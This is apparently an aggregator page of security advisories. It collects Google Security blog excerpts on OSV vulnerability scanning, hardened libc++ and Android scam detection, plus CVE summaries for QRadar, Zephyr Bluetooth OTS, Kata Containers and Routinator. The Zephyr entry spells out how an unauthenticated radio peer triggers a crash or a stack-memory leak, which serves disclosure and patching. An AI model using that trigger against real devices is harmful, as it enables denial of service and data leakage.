 <img height="273" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABkAAAAKACAYAAADEq7QAAAAAAXNSR0IArs4c6QAAIABJREFUeF7s3Qd4VFX6BvB3anpPIKQBIQFCb1LtoKCgK64oCuraK4hrL4gFsCCKvaFgBQEXsWFFFBCU3ktCCSQhCek9k8zM//+dKSSQkAAJmUne+zysMLnlnN+9Qfe++c6nATcKUIACFKAABShAAQpQgAIUoAAFKEABClCAAhSgAAUo0MwENM1sPpwOBShAAQpQgAIUoAAFKEABClCAAhSgAAUoQAEKUIACFAADED4EFKAABShAAQpQgAIUoAAFKEABClCAAhSgAAUoQAEKNDsBBiDN7pZyQhSgAAUoQAEKUIACFKAABShAAQpQgAIUoAAFKEABCjAA4TNAAQpQgAIUoAAFKEABClCAAhSgAAUoQAEKUIACFKBAsxNgANLsbiknRAEKUIACFKAABShAAQpQgAIUoAAFKEABClCAAhSgAAMQPgMUoAAFKEABClCAAhSgAAUoQAEKuIpAOwADAXQFEAUgAIDVVQbHcVCAAhSgAAUocEoCZgB5APYB2ATgLwAFp3SmkzyIAchJgnF3ClCAAhSgAAUoQAEKUIACFKAABRpMQAKOeACXAbgHQEiDnZknogAFKEABClDAlQX2AJgJYDmAVADFjTFYBiCNocpzUoACFKAABShAAQpQgAIUoAAFKHAiAQk+LgRw3f//FOjFAPxjYmIwePBgdOjQAREREQgKCoKnpyf0ej0lKUABClCAAhRwYwGTyYSSkhJkZWXh0KFD2L17N3744QfHjFIAyB++BLAKQHlDTpUBSENq8lwUoAAFKEABClCAAhSgAAUoQAEK1CUgFR8PARgJIKJXr16444470KdPH0RGRsLb2xteXl7w8PCARsPXFnVh8usUoAAFKEABdxCwWCwoKytTQUhBQYEKQtauXYuHHpL/JFBbMoDPALwLQEKRBtn4XxINwsiTUIACFKAABShAAQpQgAIUoAAFKFAPgYsAzJXgQ/ZduHAhRo4cCYPBwEqPeuBxFwpQgAIUoEBzEqioqEB2djY+/vhjPProozI16fslVSC3A9jZEHNlANIQijwHBShAAQpQgAIUoAAFKEABClCAAicSMAIYA2AOAMM999yDSZMmIS4ujmoUoAAFKEABClAA69evx4wZM/Dll7ISFg4D+DeA1adLwwDkdAV5PAUoQAEKUIACFKAABShAAQpQgAInEtACGAfgeQCR7733HkaPHo2wsDCqUYACFKAABShAAafAgQMH8OGHH2Lq1KnymTRJvwvAstMhYgByOno8lgIUoAAFKEABClCAAhSgAAUoQIG6BM4H8LkseyVLXFx99dWquTk3ClCAAhSgAAUocKyALIklAcisWbPkS38AuBPArlOVYgByqnI8jgIUoAAFKEABClCAAhSgAAUoQIG6BCLty1dEP/vss5g8eXJd+/PrFKAABShAAQpQAKNGjcL3338vEp/YK0FKToWFAcipqPEYClCAAhSgAAUoQAEKUIACFKAABeoS0AN4FcC9d911F5555hkue1WXGL9OAQpQgAIUoIASSE1NxTXXXINVq1ZVArgewPxToWEAcipqPIYCFKAABShAAQpQgAIUoAAFKECBugQGAPhq8ODBkW+88Qb69OlT1/78OgUoQAEKUIACFFACFosFX3/9Nf79b+mFjt0AugGQMOSkNgYgJ8XFnSlAAQpQgAIUoAAFKEABClCAAhSoh4A0Pp8B4L+vv/46JkyYUI9DuAsFKEABClCAAhQ4KpCSkqKWz5w7d658eMf/9xN7/2R9GICcrBj3pwAFKEABClCAAhSgAAUoQAEKUKAugU4Avu7QoUPnZcuWISYmpq79+XUKUIACFKAABShwnMDixYtx5ZVXyufLAchvck+GiQHIyWhxXwpQgAIUoAAFKEABClCAAhSgAAXqIzAOwJw77rjDIMtfGQyG+hzDfShAAQpQgAIUoEA1gQMHDmD8+PHSCyQZwA0A/jwZIgYgJ6PFfSlAAQpQgAIUoAAFKEABClCAAhSoS0AH4GUAk2TJihtvvLGu/fl1ClCAAhRoJIHk5IMoKipCUFAQIiLa1OsqZWVlkOM8PI2IiY6BViurGraMLS0tDfn5BWjdujWCg4NcYtIVFZUwGPQuMZamGsQtt9yCjz76qAjAAye7DBYDkKa6a7wuBShAAQpQgAIUoAAFKEABClCgeQqEAlgM4OzVq1dj4MCBzXOWnBUFKEABFxXIzs7GTz/9jDlzP8bOnbtRXFKKwAA/dOwYj4kT78X5550HHx+f40afn5+PxYuX4K2338b+A4dgNOrRrUsXPPTQgxg27EJoNBos/+MPzJgxExMn3Ivhwy+uUaC8vBzz5s3H51/Mw9tvvYH4+Ph6S/3+++94/sUZeH3WK+jcuXO9jzudHa1WK3bt3o0nnpiMdes2KC9/P1/cccetuPmm/6BVq1anc/rTOnbr1m2Y/NQUJCR0xvPTp53Wudz54A8++AC33367NEB/7f/7oz8FoKS+82EAUl8p7kcBClCAAhSgAAUoQAEKUIACFKBAfQTaA1gNoPX
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Google Cloud expands vulnerability detection for Artifact Registry using OSV
https://kevwire.com/record/google-security-google-cloud-expands-vulnerability-ceabbfae9d70
Google Cloud expands vulnerability detection for Artifact Registry using OSV (Dec 10, 2024).
Posted by Greg Mucci, Product Manager, Artifact Analysis, Oliver Chang, Senior Staff Engineering, OSV, and Charl de Nysschen, Product Manager OSV 

 D evOps teams dedicated to securing their supply chain and predicting potential risks consistently face novel threats. Fortunately, they can now improve their image and container security by harnessing Google-grade vulnerability scanning, which offers expanded open-source coverage. A significant benefit of utilizing Google Cloud Platform is its integrated security tools, including Artifact Analysis. This scanning service leverages the same infrastructure that Google depends on to monitor vulnerabilities within its internal systems and software supply chains. 

 Artifact Analysis has recently expanded its scanning coverage to eight additional language packages, four operating systems, and two extensively utilized base images, making it a more robust and versatile tool than ever before. 

 This enhanced coverage was achieved by integrating Artifact Analysis with the Open Source Vulnerabilities (OSV) platform and database. This integration provides industry-leading insights into open source vulnerabilities—a crucial capability as software supply chain attacks continue to grow in frequency and complexity, impacting organizations reliant on open source software. 

 With these recent updates, customers can now successfully scan the vast majority of the images they push to Artifact Registry. These successful scans ensure that any known vulnerabilities are detected, reported, and can be integrated into a broader vulnerability management program, allowing teams to take prompt action . 

 Open source vulnerabilities, with more reach 

 Artifact Analysis pulls vulnerability information directly from OSV, which is the only open source, distributed vulnerability database that gets information directly from open source practitioners. OSV’s database provides a consistent, high quality, high fidelity database of vulnerabilities from au
Sources:
Google Security Research: Google Cloud expands vulnerability detection for Artifact Registry using OSV: https://security.googleblog.com/2024/12/google-cloud-expands-vulnerability.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Greg Mucci, Product Manager, Artifact Analysis, Oliver Chang, Senior Staff Engineering, OSV, and Charl de Nysschen, Product Manager OSV 

 D evOps teams dedicated to securing their supply chain and predicting potential risks consistently face novel threats. Fortunately, they can now improve their image and container security by harnessing Google-grade vulnerability scanning, which offers expanded open-source coverage. A significant benefit of utilizing Google Cloud Platform is its integrated security tools, including Artifact Analysis. This scanning service leverages the same infrastructure that Google depends on to monitor vulnerabilities within its internal systems and software supply chains. 

 Artifact Analysis has recently expanded its scanning coverage to eight additional language packages, four operating systems, and two extensively utilized base images, making it a more robust and versatile tool than ever before. 

 This enhanced coverage was achieved by integrating Artifact Analysis with the Open Source Vulnerabilities (OSV) platform and database. This integration provides industry-leading insights into open source vulnerabilities—a crucial capability as software supply chain attacks continue to grow in frequency and complexity, impacting organizations reliant on open source software. 

 With these recent updates, customers can now successfully scan the vast majority of the images they push to Artifact Registry. These successful scans ensure that any known vulnerabilities are detected, reported, and can be integrated into a broader vulnerability management program, allowing teams to take prompt action . 

 Open source vulnerabilities, with more reach 

 Artifact Analysis pulls vulnerability information directly from OSV, which is the only open source, distributed vulnerability database that gets information directly from open source practitioners. OSV’s database provides a consistent, high quality, high fidelity database of vulnerabilities from authoritative sources who have adopted the OSV schema . This ensures the database has accurate information to reliably match software dependencies to known vulnerabilities—previously a difficult process reliant on inaccurate mechanisms such as CPEs (Common Platform Enumerations). 

 Over the past three years, OSV has increased its total coverage to 28 language and OS ecosystems. For example, industry leaders such as GitHub, Chainguard, and Ubuntu, as well as open source ecosystems such as Rust and Python are now exporting their vulnerability discoveries in the OSV Schema. This increased coverage also includes Chainguard’s Wolfi images and Google’s Distroless images , which are popular choices for minimal container images used by many developers and organizations. Customers who rely on distroless images can count on Artifact Analysis scanning to support their minimal container image initiatives. Each expansion in OSV’s coverage is incorporated into scanning tools that integrate with the OSV database. 

 Broader vulnerability detection with Artifact Analysis 

 As a result of OSV’s expansion, scanners like Artifact Analysis that draw from OSV now alert users to higher quality vulnerability information across a broader set of ecosystems—meaning GCP project owners will be made aware of a more complete set of vulnerability findings and potential security risks. 

 Existing Artifact Registry scanning customers don't need to take any action to take advantage of this update. Projects that have scanning enabled will immediately benefit from this expanded coverage and vulnerability findings will continue to be available in the Artifact Registry UI, Container Analysis API, and via pub/sub (for workflows). 

 Existing On Demand scanning cust omers will also benefit from this expanded vulnerability coverage. All the same Operating Systems and Language package coverage that Registry Scanning customers enjoy are available in On Demand Scan. 

 Beyond Artifact Registry 

 We know that detection is just one of the first steps necessary to manage risks. We’re continually expanding Artifact Analysis capabilities and in 2025 we’ll be integrating Artifact Registry vulnerability findings with Google Cloud’s Security Command Center . Through Security Command Center customers can maintain a more comprehensive vulnerability management program, and prioritize risk across a number of different dimensions.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Retrofitting spatial safety to hundreds of millions of lines of C++
https://kevwire.com/record/google-security-retrofitting-spatial-safety-to-hundreds-55047b9d6e15
Retrofitting spatial safety to hundreds of millions of lines of C++ (Nov 15, 2024).
Posted by Alex Rebert and Max Shavrick, Security Foundations, and Kinuko Yasuda, Core Developer

Attackers regularly exploit spatial memory safety vulnerabilities , which occur when code accesses a memory allocation outside of its intended bounds, to compromise systems and sensitive data. These vulnerabilities represent a major security risk to users. 

Based on an analysis of in-the-wild exploits tracked by Google's Project Zero , spatial safety vulnerabilities represent 40% of in-the-wild memory safety exploits over the past decade:

 Breakdown of memory safety CVEs exploited in the wild by vulnerability class. 1 

 Google is taking a comprehensive approach to memory safety . A key element of our strategy focuses on Safe Coding and using memory-safe languages in new code. This leads to an exponential decline in memory safety vulnerabilities and quickly improves the overall security posture of a codebase, as demonstrated by our post about Android's journey to memory safety .

 However, this transition will take multiple years as we adapt our development practices and infrastructure. Ensuring the safety of our billions of users therefore requires us to go further: we're also retrofitting secure-by-design principles to our existing C++ codebase wherever possible.

 To that end, we're working towards bringing spatial memory safety into as many of our C++ codebases as possible, including Chrome and the monolithic codebase powering our services.

 We’ve begun by enabling hardened libc++, which adds bounds checking to standard C++ data structures, eliminating a significant class of spatial safety bugs. While C++ will not become fully memory-safe, these improvements reduce risk as discussed in more detail in our perspective on memory safety , leading to more reliable and secure software.

 This post explains how we're retrofitting hardened libc++ across our codebases and showcases the positive impact it's already having, including preventing exploits, reducing crashes, an
Sources:
Google Security Research: Retrofitting spatial safety to hundreds of millions of lines of C++: https://security.googleblog.com/2024/11/retrofitting-spatial-safety-to-hundreds.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Alex Rebert and Max Shavrick, Security Foundations, and Kinuko Yasuda, Core Developer

Attackers regularly exploit spatial memory safety vulnerabilities , which occur when code accesses a memory allocation outside of its intended bounds, to compromise systems and sensitive data. These vulnerabilities represent a major security risk to users. 

Based on an analysis of in-the-wild exploits tracked by Google's Project Zero , spatial safety vulnerabilities represent 40% of in-the-wild memory safety exploits over the past decade:

 Breakdown of memory safety CVEs exploited in the wild by vulnerability class. 1 

 Google is taking a comprehensive approach to memory safety . A key element of our strategy focuses on Safe Coding and using memory-safe languages in new code. This leads to an exponential decline in memory safety vulnerabilities and quickly improves the overall security posture of a codebase, as demonstrated by our post about Android's journey to memory safety .

 However, this transition will take multiple years as we adapt our development practices and infrastructure. Ensuring the safety of our billions of users therefore requires us to go further: we're also retrofitting secure-by-design principles to our existing C++ codebase wherever possible.

 To that end, we're working towards bringing spatial memory safety into as many of our C++ codebases as possible, including Chrome and the monolithic codebase powering our services.

 We’ve begun by enabling hardened libc++, which adds bounds checking to standard C++ data structures, eliminating a significant class of spatial safety bugs. While C++ will not become fully memory-safe, these improvements reduce risk as discussed in more detail in our perspective on memory safety , leading to more reliable and secure software.

 This post explains how we're retrofitting hardened libc++ across our codebases and showcases the positive impact it's already having, including preventing exploits, reducing crashes, and improving code correctness.

 Bounds-checked data structures: The foundation for spatial safety

 One of our primary strategies for improving spatial safety in C++ is to implement bounds checking for common data structures, starting with hardening the C++ standard library (in our case, LLVM’s libc++). Hardened libc++ , recently added by open source contributors, introduces a set of security checks designed to catch vulnerabilities such as out-of-bounds accesses in production.

 For example, hardened libc++ ensures that every access to an element of a std::vector stays within its allocated bounds, preventing attempts to read or write beyond the valid memory region. Similarly, hardened libc++ checks that a std::optional isn't empty before allowing access, preventing access to uninitialized memory.

 This approach mirrors what's already standard practice in many modern programming languages like Java, Python, Go, and Rust. They all incorporate bounds checking by default , recognizing its crucial role in preventing memory errors. C++ has been a notable exception, but efforts like hardened libc++ aim to close this gap in our infrastructure. It’s also worth noting that similar hardening is available in other C++ standard libraries, such as libstdc++ .

 Raising the security baseline across the board

 Building on the successful deployment of hardened libc++ in Chrome in 2022, we've now made it default across our server-side production systems. This improves spatial memory safety across our services, including key performance-critical components of products like Search, Gmail, Drive, YouTube, and Maps. While a very small number of components remain opted out, we're actively working to reduce this and raise the bar for security across the board , even in applications with lower exploitation risk.

 The performance impact of these changes was surprisingly low, despite Google's modern C++ codebase making heavy use of libc++. Hardening libc++ resulted in an average 0.30% performance impact across our services (yes, only a third of a percent).
 
 This is due to both the compiler's ability to eliminate redundant checks during optimization, and the efficient design of hardened libc++. While a handful of performance-critical code paths still require targeted use of explicitly unsafe accesses, these instances are carefully reviewed for safety. Techniques like profile-guided optimizations further improved performance, but even without those advanced techniques, the overhead of bounds checking remains minimal.

 We actively monitor the performance impact of these checks and work to minimize any unnecessary overhead. For instance, we identified and fixed an unnecessary check, which led to a 15% reduction in overhead (reduced from 0.35% to 0.3%), and contributed the fix back to the LLVM project to share the benefits with the broader C++ community.

 While hardened libc++'s overhead is minimal for individual applications in most cases, deploying it at Google's scale required a substantial commitment of computing resources. This investment underscores our dedication to enhancing the safety and security of our products.

 From tests to production

 Enabling libc++ hardening wasn't a simple flip of a switch. Rather, it required a multi-stage rollout to avoid accidentally disrupting users or creating an outage: 
 
 Testing: We first enabled hardened libc++ in our tests over a year ago. This allowed us to identify and fix hundreds of previously undetected bugs in our code and tests.

 Baking: We let the hardened runtime "bake" in our testing and pre-production environments, giving developers time to adapt and address any new issues that surfaced. We also conducted extensive performance evaluations, ensuring minimal impact to our users' experience.

 Gradual Production Rollout: We then rolled out hardened libc++ to production over several months, starting with a small set of services and gradually expanding to our entire infrastructure. We closely monitored the rollout, promptly addressing any crashes or performance regressions.

 Quantifiable impact

 In just a few months since enabling hardened libc++ by default, we've already seen benefits.

 Preventing exploits: Hardened libc++ has already disrupted an internal red team exercise and would have prevented another one that happened before we enabled hardening, demonstrating its effectiveness in thwarting exploits. The safety checks have uncovered over 1,000 bugs, and would prevent 1,000 to 2,000 new bugs yearly at our current rate of C++ development.

 Improved reliability and correctness: The process of identifying and fixing bugs uncovered by hardened libc++ led to a 30% reduction in our baseline segmentation fault rate across production, indicating improved code reliability and quality. Beyond crashes, the checks also caught errors that would have otherwise manifested as unpredictable behavior or data corruption.

 Moving average of segfaults across our fleet over time, before and after enablement.

 Easier debugging: Hardened libc++ enabled us to identify and fix multiple bugs that had been lurking in our code for more than a decade. The checks transform many difficult-to-diagnose memory corruptions into immediate and easily debuggable errors, saving developers valuable time and effort. 

 Bridging the gap with memory-safe languages

 While libc++ hardening provides immediate benefits by adding bounds checking to standard data structures, it's only one piece of the puzzle when it comes to spatial safety.

 We're expanding bounds checking to other libraries and working to migrate our code to Safe Buffers , requiring all accesses to be bounds checked. For spatial safety, both hardened data structures, including their iterators, and Safe Buffers are necessary.

 Beyond improving the safety of our C++, we're also focused on making it easier to interoperate with memory-safe languages. Migrating our C++ to Safe Buffers shrinks the gap between the languages, which
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Safer with Google: New intelligent, real-time protections on Android to keep you safe
https://kevwire.com/record/google-security-new-real-time-protections-on-Android-8ff0e61f593b
Safer with Google: New intelligent, real-time protections on Android to keep you safe (Nov 13, 2024).
Posted by Lyubov Farafonova, Product Manager and Steve Kafka, Group Product Manager, Android 

User safety is at the heart of everything we do at Google. Our mission to make technology helpful for everyone means building features that protect you while keeping your privacy top of mind. From Gmail’s defenses that stop more than 99.9% of spam, phishing and malware, to Google Messages’ advanced security that protects users from 2 billion suspicious messages a month and beyond, we're constantly developing and expanding protection features that help keep you safe.

We're introducing two new real-time protection features that enhance your safety, all while safeguarding your privacy: Scam Detection in Phone by Google to protect you from scams and fraud, and Google Play Protect live threat detection with real-time alerts to protect you from malware and dangerous apps.

These new security features are available first on Pixel, and are coming soon to more Android devices. 

 More intelligent AI-powered protection against scams 

Scammers steal over $1 trillion dollars a year from people, and phone calls are their favorite way to do it. Even more alarming, scam calls are evolving, becoming increasingly more sophisticated , damaging and harder to identify. That’s why we’re using the best of Google AI to identify and stop scams before they can do harm with Scam Detection.

 Real-time protection, built with your privacy in mind. 

 Real-time defense, right on your device: Scam Detection uses powerful on-device AI to notify you of a potential scam call happening in real-time by detecting conversation patterns commonly associated with scams. For example, if a caller claims to be from your bank and asks you to urgently transfer funds due to an alleged account breach, Scam Detection will process the call to determine whether the call is likely spam and, if so, can provide an audio and haptic alert and visual warning that the call may be a scam. 

 Private by design, you’re always in
Sources:
Google Security Research: Safer with Google: New intelligent, real-time protections on Android to keep you safe: https://security.googleblog.com/2024/11/new-real-time-protections-on-Android.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Lyubov Farafonova, Product Manager and Steve Kafka, Group Product Manager, Android 

User safety is at the heart of everything we do at Google. Our mission to make technology helpful for everyone means building features that protect you while keeping your privacy top of mind. From Gmail’s defenses that stop more than 99.9% of spam, phishing and malware, to Google Messages’ advanced security that protects users from 2 billion suspicious messages a month and beyond, we're constantly developing and expanding protection features that help keep you safe.

We're introducing two new real-time protection features that enhance your safety, all while safeguarding your privacy: Scam Detection in Phone by Google to protect you from scams and fraud, and Google Play Protect live threat detection with real-time alerts to protect you from malware and dangerous apps.

These new security features are available first on Pixel, and are coming soon to more Android devices. 

 More intelligent AI-powered protection against scams 

Scammers steal over $1 trillion dollars a year from people, and phone calls are their favorite way to do it. Even more alarming, scam calls are evolving, becoming increasingly more sophisticated , damaging and harder to identify. That’s why we’re using the best of Google AI to identify and stop scams before they can do harm with Scam Detection.

 Real-time protection, built with your privacy in mind. 

 Real-time defense, right on your device: Scam Detection uses powerful on-device AI to notify you of a potential scam call happening in real-time by detecting conversation patterns commonly associated with scams. For example, if a caller claims to be from your bank and asks you to urgently transfer funds due to an alleged account breach, Scam Detection will process the call to determine whether the call is likely spam and, if so, can provide an audio and haptic alert and visual warning that the call may be a scam. 

 Private by design, you’re always in control: We’ve built Scam Detection to protect your privacy and ensure you’re always in control of your data. Scam Detection is off by default, and you can decide whether you want to activate it for future calls. At any time, you can turn it off for all calls in the Phone app Settings, or during a particular call. The AI detection model and processing are fully on-device, which means that no conversation audio or transcription is stored on the device, sent to Google servers or anywhere else, or retrievable after the call.

 Cutting-edge AI protection, now on more Pixel phones: Gemini Nano , our advanced on-device AI model, powers Scam Detection on Pixel 9 series devices. As part of our commitment to bring powerful AI features to even more devices, this AI-powered protection is available to Pixel 6+ users thanks to other robust Google on-device machine learning models. 

We’re now rolling out Scam Detection to English-speaking Phone by Google public beta users in the U.S. with a Pixel 6 or newer device. 

To provide feedback on your experience, please click on Phone by Google App -> Menu -> Help & Feedback -> Send Feedback. We look forward to learning from this beta and your feedback, and we’ll share more about Scam Detection in the months ahead.

 More real-time alerts to protect you from bad apps 

 Google Play Protect works non-stop to protect you in real-time from malware and unsafe apps. Play Protect analyzes behavioral signals related to the use of sensitive permissions and interactions with other apps and services.

With live threat detection, if a harmful app is found, you'll now receive a real-time alert, allowing you to take immediate action to protect your device. By looking at actual activity patterns of apps, live threat detection can now find malicious apps that try extra hard to hide their behavior or lie dormant for a time before engaging in suspicious activity. 

At launch, live threat detection will focus on stalkerware, code that may collect personal or sensitive data for monitoring purposes without user consent, and we will explore expanding its detection to other types of harmful apps in the future. All of this protection happens on your device in a privacy preserving way through Private Compute Core , which allows us to protect users without collecting data. 

Live threat detection with real-time alerts in Google Play Protect are now available on Pixel 6+ devices and will be coming to additional phone makers in the coming months.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM QRadar SIEM could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.
https://kevwire.com/record/CVE-2026-93441
IBM QRadar SIEM could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption. (Oct 20, 2026).
IBM QRadar SIEM could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.
CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93441).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93441&date=2026-10-25).
Sources:
NVD CVE-2026-93441: https://nvd.nist.gov/vuln/detail/CVE-2026-93441
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93441&date=2026-10-25
IBM QRadar SIEM could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Object Transfer Service server builds its Object Action Control Point (OACP) response indication in oacp_ind_send() (subsys/bluetooth/services/ots/ots_oacp.c).
https://kevwire.com/record/CVE-2026-81038
The Object Transfer Service server builds its Object Action Control Point (OACP) response indication in oacp_ind_send() (subsys/bluetooth/services/ots/ots_oacp.c). (Oct 26, 2026).
The Object Transfer Service server builds its Object Action Control Point (OACP) response indication in oacp_ind_send() (subsys/bluetooth/services/ots/ots_oacp.c). Before this fix the four-byte Checksum Value field was appended whenever the requested op code was BT_GATT_OTS_OACP_PROC_CHECKSUM_CALC, regardless of the result code. The response payload is a bare, uninitialized four-byte stack buffer declared with NET_BUF_SIMPLE_DEFINE(resp_param, sizeof(uint32_t)) in bt_gatt_ots_oacp_write(), and it is filled only on the success path of oacp_checksum_proc_validate(). On every failure path the buffer is still empty, so net_buf_simple_pull_le32() was invoked on a zero-length buffer.

The OACP characteristic and its client characteristic configuration descriptor are declared with BT_GATT_PERM_WRITE and BT_GATT_PERM_READ | BT_GATT_PERM_WRITE, so no pairing, encryption, or authentication is required. Any peer within radio range that can connect to a device running the OTS server can enable OACP indications and write a nine-byte Calculate Checksum command that fails validation — for example by issuing it with no object selected, which returns BT_GATT_OTS_OACP_RES_INV_OBJ. Because oacp_command_decode() accepts the Calculate Checksum op code unconditionally (it is not guarded by CONFIG_BT_OTS_OACP_CHECKSUM_SUPPORT), builds without checksum support are reachable too: they answer BT_GATT_OTS_OACP_RES_OPCODE_NOT_SUP and take the same bad path.

On builds with CONFIG_ASSERT enabled, the zero-length pull trips the assertion inside net_buf_simple_pull_mem() and panics the device, giving a remotely triggered denial of service. On builds with assertions disabled there is no check: the pull returns the untouched stack array and four bytes of uninitialized stack memory are copied into the indication and transmitted to the peer, repeatable on every request. The disclosure is bounded to four bytes per request and the write stays inside the seven-byte res indication buffer, so there is no memory corruption; the impact is uninitialized-memory disclosure plus an availability loss in assertion-enabled configurations.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-81038).
Sources:
NVD CVE-2026-81038: https://nvd.nist.gov/vuln/detail/CVE-2026-81038
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
The Object Transfer Service server builds its Object Action Control Point (OACP) response indication in oacp_ind_send() (subsys/bluetooth/services/ots/ots_oacp.c). Before this fix the four-byte Checksum Value field was appended whenever the requested op code was BT_GATT_OTS_OACP_PROC_CHECKSUM_CALC, regardless of the result code. The response payload is a bare, uninitialized four-byte stack buffer declared with NET_BUF_SIMPLE_DEFINE(resp_param, sizeof(uint32_t)) in bt_gatt_ots_oacp_write(), and it is filled only on the success path of oacp_checksum_proc_validate(). On every failure path the buffer is still empty, so net_buf_simple_pull_le32() was invoked on a zero-length buffer.

The OACP characteristic and its client characteristic configuration descriptor are declared with BT_GATT_PERM_WRITE and BT_GATT_PERM_READ | BT_GATT_PERM_WRITE, so no pairing, encryption, or authentication is required. Any peer within radio range that can connect to a device running the OTS server can enable OACP indications and write a nine-byte Calculate Checksum command that fails validation — for example by issuing it with no object selected, which returns BT_GATT_OTS_OACP_RES_INV_OBJ. Because oacp_command_decode() accepts the Calculate Checksum op code unconditionally (it is not guarded by CONFIG_BT_OTS_OACP_CHECKSUM_SUPPORT), builds without checksum support are reachable too: they answer BT_GATT_OTS_OACP_RES_OPCODE_NOT_SUP and take the same bad path.

On builds with CONFIG_ASSERT enabled, the zero-length pull trips the assertion inside net_buf_simple_pull_mem() and panics the device, giving a remotely triggered denial of service. On builds with assertions disabled there is no check: the pull returns the untouched stack array and four bytes of uninitialized stack memory are copied into the indication and transmitted to the peer, repeatable on every request. The disclosure is bounded to four bytes per request and the write stays inside the seven-byte res indication buffer, so there is no memory corruption; the impact is uninitialized-memory disclosure plus an availability loss in assertion-enabled configurations.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Kata Containers. In configurations utilizing genpolicy for Confidential Containers guest protection, a malicious host operator can exploit insufficient...
https://kevwire.com/record/CVE-2026-77176
A flaw was found in Kata Containers. In configurations utilizing genpolicy for Confidential Containers guest protection, a malicious host operator can exploit insufficient... (Aug 20, 2026).
A flaw was found in Kata Containers. In configurations utilizing genpolicy for Confidential Containers guest protection, a malicious host operator can exploit insufficient validation of CreateContainer mount and storage rules. This allows them to mount arbitrary container-rootfs paths over sensitive host locations or provision arbitrary content, potentially exposing confidential information or enabling the acceptance of attacker-controlled input.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77176).
Sources:
NVD CVE-2026-77176: https://nvd.nist.gov/vuln/detail/CVE-2026-77176
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
A flaw was found in Kata Containers. In configurations utilizing genpolicy for Confidential Containers guest protection, a malicious host operator can exploit insufficient validation of CreateContainer mount and storage rules. This allows them to mount arbitrary container-rootfs paths over sensitive host locations or provision arbitrary content, potentially exposing confidential information or enabling the acceptance of attacker-controlled input.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When parsing an AS range in Routinator, if the maximum value of the range is smaller than the minimum value of the range, Routinator will never reach the maximum value and run out...
https://kevwire.com/record/CVE-2026-72758
When parsing an AS range in Routinator, if the maximum value of the range is smaller than the minimum value of the range, Routinator will never reach the maximum value and run out... (Oct 26, 2026).
When parsing an AS range in Routinator, if the maximum value of the range is smaller than the minimum value of the range, Routinator will never reach the maximum value and run out of memory.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-72758).
Sources:
NVD CVE-2026-72758: https://nvd.nist.gov/vuln/detail/CVE-2026-72758
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
When parsing an AS range in Routinator, if the maximum value of the range is smaller than the minimum value of the range, Routinator will never reach the maximum value and run out of memory.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

